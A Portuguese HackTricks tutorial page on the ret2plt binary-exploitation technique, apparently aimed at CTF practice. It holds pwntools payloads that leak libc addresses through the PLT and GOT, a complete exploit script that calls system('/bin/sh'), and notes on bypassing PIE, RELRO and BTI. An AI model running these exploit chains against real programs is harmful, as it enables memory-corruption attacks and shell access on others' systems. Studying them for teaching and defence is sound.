Ret2plt

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações Básicas

O objetivo desta técnica seria leak an address from a function from the PLT para conseguir contornar o ASLR. Isto porque, por exemplo, se você leak o endereço da função puts da libc, você pode então calcular onde está a base da libc e calcular offsets para acessar outras funções como system.

Isto pode ser feito com um payload pwntools como (from here):

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

Observe como puts (usando o endereço do PLT) é chamada com o endereço de puts localizado no GOT (Global Offset Table). Isso acontece porque, no momento em que puts imprime a entrada do GOT correspondente a puts, essa entrada conterá o endereço exato de puts na memória.

Observe também como o endereço de main é usado no exploit para que, quando puts terminar sua execução, o binário chame main novamente em vez de sair (então o leaked address continuará válido).

Caution

Observe que, para isso funcionar, o binário não pode ser compilado com PIE ou você deve ter encontrado um leak para bypassar PIE para saber o endereço do PLT, GOT e main. Caso contrário, você precisa bypassar o PIE primeiro.

Você pode encontrar um full example of this bypass here. Este foi o exploit final desse exemplo:

Exemplo completo de exploit (ret2plt leak + system) ```python from pwn import *

elf = context.binary = ELF(‘./vuln-32’) libc = elf.libc p = process()

p.recvline()

payload = flat( ‘A’ * 32, elf.plt[‘puts’], elf.sym[‘main’], elf.got[‘puts’] )

p.sendline(payload)

puts_leak = u32(p.recv(4)) p.recvlines(2)

libc.address = puts_leak - libc.sym[‘puts’] log.success(f’LIBC base: {hex(libc.address)}’)

payload = flat( ‘A’ * 32, libc.sym[‘system’], libc.sym[‘exit’], next(libc.search(b’/bin/sh\x00’)) )

p.sendline(payload)

p.interactive()

</details>

## Considerações modernas

- **`-fno-plt` builds** (comum em distros modernas) substituem `call foo@plt` por `call [foo@got]`. Se o binário não tiver um stub `foo@plt`, você ainda pode leakar o endereço resolvido com `puts(elf.got['foo'])` e então **retornar diretamente para a entrada GOT** (`flat(padding, elf.got['foo'])`) para pular para libc uma vez que lazy binding tenha sido concluído.
- **Full RELRO / `-Wl,-z,now`**: a GOT é somente‑leitura, mas ret2plt ainda funciona para leaks porque você apenas lê a slot da GOT. Se o símbolo nunca foi chamado, seu primeiro ret2plt também realizará lazy binding e então imprimirá o slot resolvido.
- **ASLR + PIE**: se PIE estiver habilitado, primeiro leak um ponteiro de código (por exemplo, saved return address, function pointer, ou `.plt` entry via outro format‑string/infoleak) para calcular a base do PIE, depois construa a cadeia ret2plt com os endereços PLT/GOT rebaseados.
- **Arquiteturas não‑x86 com BTI/PAC (AArch64)**: entradas do PLT são BTI landing pads válidos (`bti c`), então ao explorar binários com BTI habilitado prefira saltar para o stub do PLT (ou outro gadget anotado com BTI) em vez de ir diretamente para um gadget libc sem BTI, caso contrário a CPU levantará falhas `BRK`/`PAC`.
- **Auxiliar rápido de resolução**: se a função alvo ainda não estiver resolvida e você precisar de um leak em um só passo, encadeie a chamada PLT duas vezes: primeiro `elf.plt['foo']` (para resolver) e em seguida novamente `elf.plt['foo']` com o endereço GOT como argumento para imprimir o slot agora preenchido.

## Outros exemplos & Referências

- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, o primeiro passo é preencher um overflow até o byte 0x00 do canary para então chamar puts e fazer o leak dele. Com o canary obtido cria‑se um gadget ROP para chamar puts e leakar o endereço de puts do GOT e um gadget ROP para chamar `system('/bin/sh')`
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits, ASLR enabled, no canary, stack overflow em main a partir de uma função filha. Gadget ROP para chamar puts para leakar o endereço de puts do GOT e então chamar um one gadget.

## Referências

- [MaskRay – All about Procedure Linkage Table](https://maskray.me/blog/2021-09-19-all-about-procedure-linkage-table)

> [!TIP]
> Aprenda e pratique Hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprenda e pratique Hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprenda e pratique Hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Supporte o HackTricks</summary>
>
> - Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
> - **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
>
> </details>